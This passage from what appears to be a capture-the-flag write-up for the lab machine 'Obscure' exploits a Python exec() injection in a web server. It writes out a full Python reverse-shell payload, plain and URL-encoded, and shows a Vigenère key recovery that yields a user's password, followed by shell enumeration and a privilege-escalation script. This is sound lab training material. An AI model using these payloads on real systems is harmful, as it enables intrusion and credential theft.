<span class="n">cwd</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">realpath</span><span class="p">(</span><span class="vm">__file__</span><span class="p">))</span>
<span class="n">docRoot</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">cwd</span><span class="p">,</span> <span class="n">docRoot</span><span class="p">)</span>
<span class="k">if</span> <span class="n">path</span> <span class="o">==</span> <span class="s2">"/"</span><span class="p">:</span>
<span class="n">path</span> <span class="o">=</span> <span class="s2">"/index.html"</span>
<span class="n">requested</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">docRoot</span><span class="p">,</span> <span class="n">path</span><span class="p">[</span><span class="mi">1</span><span class="p">:])</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">requested</span><span class="p">):</span>
<span class="n">mime</span> <span class="o">=</span> <span class="n">mimetypes</span><span class="o">.</span><span class="n">guess_type</span><span class="p">(</span><span class="n">requested</span><span class="p">)</span>
<span class="n">mime</span> <span class="o">=</span> <span class="p">(</span><span class="n">mime</span> <span class="k">if</span> <span class="n">mime</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">None</span> <span class="k">else</span> <span class="s2">"text/html"</span><span class="p">)</span>
<span class="n">mime</span> <span class="o">=</span> <span class="n">MIMES</span><span class="p">[</span><span class="n">requested</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">"."</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]]</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">requested</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">requested</span><span class="p">,</span> <span class="s2">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">status</span> <span class="o">=</span> <span class="s2">"200"</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">errorPage</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">docRoot</span><span class="p">,</span> <span class="s2">"errors"</span><span class="p">,</span> <span class="s2">"404.html"</span><span class="p">)</span>
<span class="n">mime</span> <span class="o">=</span> <span class="s2">"text/html"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">errorPage</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="n">status</span> <span class="o">=</span> <span class="s2">"404"</span>
<span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">errorPage</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">docRoot</span><span class="p">,</span> <span class="s2">"errors"</span><span class="p">,</span> <span class="s2">"500.html"</span><span class="p">)</span>
<span class="n">mime</span> <span class="o">=</span> <span class="s2">"text/html"</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">errorPage</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">status</span> <span class="o">=</span> <span class="s2">"500"</span>
<span class="k">return</span> <span class="p">{</span><span class="s2">"body"</span><span class="p">:</span> <span class="n">data</span><span class="p">,</span> <span class="s2">"mime"</span><span class="p">:</span> <span class="n">mime</span><span class="p">,</span> <span class="s2">"status"</span><span class="p">:</span> <span class="n">status</span><span class="p">}</span>
</code></pre></div>
<p>The script is a bit long but we can see the line
<code>exec(info.format(path))</code> where <code>path</code> is the user input (the path in a GET
request). The use of the <code>exec()</code> function is dangerous as
<code>exec(os.system(<cmd>))</cmd></code> will execute the command on the system (if <code>os</code> is
imported).</p>
<p>Here there is some python before the <code>exec()</code>:
<code>info = "output = 'Document: {}'"</code> so we need to "escape" this string. We try a
few thing on our system:</p>
<div class="highlight"><pre><span></span><code>>>> path = ''
>>> exec(info.format(path))
>>> path = "test'; print('boom'); 'test"
>>> exec(info.format(path))
boom
</code></pre></div>
<p>So we can insert some payload between the two <code>;</code>. As the server is running
python we will use the <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python">python TCP reverse
shell</a></p>
<p>So our payload is: <code>test'; import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.208",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'test</code>.</p>
<p>We get a error 400 "Bad request", so we encode our payload with Burp (url encode
all characters). The payload look like the following in burp repeater (yes I
also encoded the first <code>/</code> which is not part of our payload):</p>
<div class="highlight"><pre><span></span><code>GET %2f%74%65%73%74%27%3b%20%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%32%30%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%69%6d%70%6f%72%74%20%70%74%79%3b%20%70%74%79%2e%73%70%61%77%6e%28%22%2f%62%69%6e%2f%62%61%73%68%22%29%3b%27%74%65%73%74 HTTP/1.1
Host: 10.10.10.168:8080
</code></pre></div>
<p>This give us a reverse shell as <code>www-data</code>. We start enumerating the box and
found interesting files in the <code>robert</code> home folder.</p>
<div class="highlight"><pre><span></span><code>www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@obscure:/$ ls /home/
ls /home/
robert
www-data@obscure:/$ ls /home/robert/
ls /home/robert/
BetterSSH enum passwordreminder.txt user.txt
check.txt out.txt SuperSecureCrypt.py
www-data@obscure:/$ ls /home/robert/BetterSSH/
ls /home/robert/BetterSSH/
BetterSSH.py
</code></pre></div>
<p>We get the SuperSecureCrypt.py file (<em>I also get the BetterSSH.py file but it
will be used later</em>).</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">argparse</span>
<span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
<span class="n">keylen</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">keyPos</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
<span class="n">keyChr</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">keyPos</span><span class="p">]</span>
<span class="n">newChr</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">newChr</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">newChr</span> <span class="o">+</span> <span class="nb">ord</span><span class="p">(</span><span class="n">keyChr</span><span class="p">))</span> <span class="o">%</span> <span class="mi">255</span><span class="p">)</span>
<span class="n">encrypted</span> <span class="o">+=</span> <span class="n">newChr</span>
<span class="n">keyPos</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">keyPos</span> <span class="o">=</span> <span class="n">keyPos</span> <span class="o">%</span> <span class="n">keylen</span>
<span class="k">return</span> <span class="n">encrypted</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
<span class="n">keylen</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">keyPos</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">decrypted</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
<span class="n">keyChr</span> <span class="o">=</span> <span class="n">key</span><span class="p">[</span><span class="n">keyPos</span><span class="p">]</span>
<span class="n">newChr</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">newChr</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">newChr</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">keyChr</span><span class="p">))</span> <span class="o">%</span> <span class="mi">255</span><span class="p">)</span>
<span class="n">decrypted</span> <span class="o">+=</span> <span class="n">newChr</span>
<span class="n">keyPos</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">keyPos</span> <span class="o">=</span> <span class="n">keyPos</span> <span class="o">%</span> <span class="n">keylen</span>
<span class="k">return</span> <span class="n">decrypted</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="s1">'Encrypt with 0bscura</span><span class="se">\'</span><span class="s1">s encryption algorithm'</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-i'</span><span class="p">,</span>
<span class="n">metavar</span><span class="o">=</span><span class="s1">'InFile'</span><span class="p">,</span>
<span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span>
<span class="n">help</span><span class="o">=</span><span class="s1">'The file to read'</span><span class="p">,</span>
<span class="n">required</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-o'</span><span class="p">,</span>
<span class="n">metavar</span><span class="o">=</span><span class="s1">'OutFile'</span><span class="p">,</span>
<span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span>
<span class="n">help</span><span class="o">=</span><span class="s1">'Where to output the encrypted/decrypted file'</span><span class="p">,</span>
<span class="n">required</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-k'</span><span class="p">,</span>
<span class="n">metavar</span><span class="o">=</span><span class="s1">'Key'</span><span class="p">,</span>
<span class="nb">type</span><span class="o">=</span><span class="nb">str</span><span class="p">,</span>
<span class="n">help</span><span class="o">=</span><span class="s1">'Key to use'</span><span class="p">,</span>
<span class="n">required</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'-d'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s1">'store_true'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">'Decrypt mode'</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="n">banner</span> <span class="o">=</span> <span class="s2">"################################</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span><span class="o">+=</span> <span class="s2">"# BEGINNING #</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span><span class="o">+=</span> <span class="s2">"# SUPER SECURE ENCRYPTOR #</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span><span class="o">+=</span> <span class="s2">"################################</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span> <span class="o">+=</span> <span class="s2">" ############################</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span> <span class="o">+=</span> <span class="s2">" # FILE MODE #</span><span class="se">\n</span><span class="s2">"</span>
<span class="n">banner</span> <span class="o">+=</span> <span class="s2">" ############################"</span>
<span class="nb">print</span><span class="p">(</span><span class="n">banner</span><span class="p">)</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">o</span> <span class="o">==</span> <span class="kc">None</span> <span class="ow">or</span> <span class="n">args</span><span class="o">.</span><span class="n">k</span> <span class="o">==</span> <span class="kc">None</span> <span class="ow">or</span> <span class="n">args</span><span class="o">.</span><span class="n">i</span> <span class="o">==</span> <span class="kc">None</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Missing args"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">d</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Opening file </span><span class="si">{0}</span><span class="s2">..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">i</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">i</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">'UTF-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Decrypting..."</span><span class="p">)</span>
<span class="n">decrypted</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">args</span><span class="o">.</span><span class="n">k</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Writing to </span><span class="si">{0}</span><span class="s2">..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">o</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">o</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">'UTF-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">decrypted</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Opening file </span><span class="si">{0}</span><span class="s2">..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">i</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">i</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">'UTF-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Encrypting..."</span><span class="p">)</span>
<span class="n">encrypted</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">args</span><span class="o">.</span><span class="n">k</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Writing to </span><span class="si">{0}</span><span class="s2">..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">o</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">args</span><span class="o">.</span><span class="n">o</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">'UTF-8'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted</span><span class="p">)</span>
</code></pre></div>
<p>We also get the out.txt, passwordreminder.txt and check.txt files. As the first
two contains non printable characters we encode them in base64.</p>
<div class="highlight"><pre><span></span><code>www-data@obscure:/$ base64 /home/robert/out.txt
base64 /home/robert/out.txt
wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vD
msOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOV
w6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PD
pMOhw5vDjMOXwonCgXY=
www-data@obscure:/$ base64 /home/robert/passwordreminder.txt
base64 /home/robert/passwordreminder.txt
wrTDkcOIw4zDicOgw5nDgcORw6nCr8K3wr9r
www-data@obscure:/$ cat /home/robert/check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
</code></pre></div>
<p>The script is a simple implementation of the
<a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">Vigenère cipher</a>. As we got
a clear text (<code>check.txt</code>) and a cipher text (<code>out.txt</code>) we can easily get the
key by using a simple python3 script.</p>
<div class="highlight"><pre><span></span><code><span class="n">clair</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"./check.txt"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">chiffre</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">"./out.txt"</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="n">key</span><span class="o">=</span><span class="s1">''</span>
<span class="k">while</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">clair</span><span class="p">):</span>
<span class="n">key</span><span class="o">+=</span><span class="p">(</span><span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">chiffre</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">-</span><span class="nb">ord</span><span class="p">(</span><span class="n">clair</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span><span class="o">%</span><span class="mi">255</span><span class="p">))</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="nb">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</code></pre></div>
<p>Using this script we get the key using to cipher them: <code>alexandrovich</code>.</p>
<div class="highlight"><pre><span></span><code>python3 decrypt.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
</code></pre></div>
<p><strong>Note: Do not do you own crypto!</strong> Also, if we didn't had the <code>check.txt</code> and
<code>out.txt</code> files the cracking will have been harder. As this was a Vigenère
cipher we could have brute force the key or tried so <a href="https://pages.mtu.edu/~shene/NSF-4/Tutorial/VIG/Vig-Frequency-Analysis.html">frequency
analysis</a>
but the <code>passwordreminder.txt</code> file is a bit short for this kind of attack.</p>
<p>Then we use the <code>SuperSecureCrypt.py</code> script to decode the password file with
the key and get the password <code>SecThruObsFTW</code>.</p>
<div class="highlight"><pre><span></span><code>python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o pass && cat pass
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file pas...
Decrypting...
Writing to pass...
SecThruObsFTW
</code></pre></div>
<p>We can then connect using SSH as robert and get the user flag.
:::text
ssh robert@10.10.10.168
robert@10.10.10.168's password:
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7</p>
<h1>Getting root</h1>
<p>As robert with our SSH shell we start enumerating the box. We have some
interesting <code>sudo</code> permissions.</p>
<div class="highlight"><pre><span></span><code>robert@obscure:~$ sudo -l
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
</code></pre></div>
<p>We get the betterSSH.py file.</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">random</span><span class="o">,</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">crypt</span>
<span class="kn">import</span> <span class="nn">traceback</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">path</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">8</span><span class="p">))</span>
<span class="n">session</span> <span class="o">=</span> <span class="p">{</span><span class="s2">"user"</span><span class="p">:</span> <span class="s2">""</span><span class="p">,</span> <span class="s2">"authenticated"</span><span class="p">:</span> <span class="mi">0</span><span class="p">}</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">session</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">"Enter username: "</span><span class="p">)</span>
<span class="n">passW</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">"Enter password: "</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'/etc/shadow'</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">[(</span><span class="n">p</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">":"</span><span class="p">)</span> <span class="k">if</span> <span class="s2">"$"</span> <span class="ow">in</span> <span class="n">p</span> <span class="k">else</span> <span class="kc">None</span><span class="p">)</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">data</span><span class="p">]</span>
<span class="n">passwords</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">x</span> <span class="o">==</span> <span class="kc">None</span><span class="p">:</span>
<span class="n">passwords</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">passwordFile</span> <span class="o">=</span> <span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">passwords</span><span class="p">])</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'/tmp/SSH/'</span><span class="o">+</span><span class="n">path</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">passwordFile</span><span class="p">)</span>
<span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">.1</span><span class="p">)</span>
<span class="n">salt</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">realPass</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">passwords</span><span class="p">:</span>
<span class="k">if</span> <span class="n">p</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="n">session</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]:</span>
<span class="n">salt</span><span class="p">,</span> <span class="n">realPass</span> <span class="o">=</span> <span class="n">p</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'$'</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">salt</span> <span class="o">==</span> <span class="s2">""</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Invalid user"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="s1">'/tmp/SSH/'</span><span class="o">+</span><span class="n">path</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">salt</span> <span class="o">=</span> <span class="s1">'$6$'</span><span class="o">+</span><span class="n">salt</span><span class="o">+</span><span class="s1">'$'</span>
<span class="n">realPass</span> <span class="o">=</span> <span class="n">salt</span> <span class="o">+</span> <span class="n">realPass</span>
<span class="nb">hash</span> <span class="o">=</span> <span class="n">crypt</span><span class="o">.</span><span class="n">crypt</span><span class="p">(</span><span class="n">passW</span><span class="p">,</span> <span class="n">salt</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">hash</span> <span class="o">==</span> <span class="n">realPass</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Authed!"</span><span class="p">)</span>
<span class="n">session</span><span class="p">[</span><span class="s1">'authenticated'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Incorrect pass"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="s1">'/tmp/SSH/'</span><span class="o">+</span><span class="n">path</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">'/tmp/SSH/'</span><span class="p">,</span><span class="n">path</span><span class="p">))</span>
<span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">traceback</span><span class="o">.</span><span class="n">print_exc</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">if</span> <span class="n">session</span><span class="p">[</span><span class="s1">'authenticated'</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="n">session</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]</span> <span class="o">+</span> <span class="s2">"@Obscure$ "</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'sudo'</span><span class="p">,</span> <span class="s1">'-u'</span><span class="p">,</span> <span class="n">session</span><span class="p">[</span><span class="s1">'user'</span><span class="p">]]</span>
<span class="n">cmd</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">command</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">" "</span><span class="p">))</span>
<span class="n">proc</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">)</span>
<span class="n">o</span><span class="p">,</span><span class="n">e</span> <span class="o">=</span> <span class="n">proc</span><span class="o">.</span><span class="n">communicate</span><span class="p">()</span>
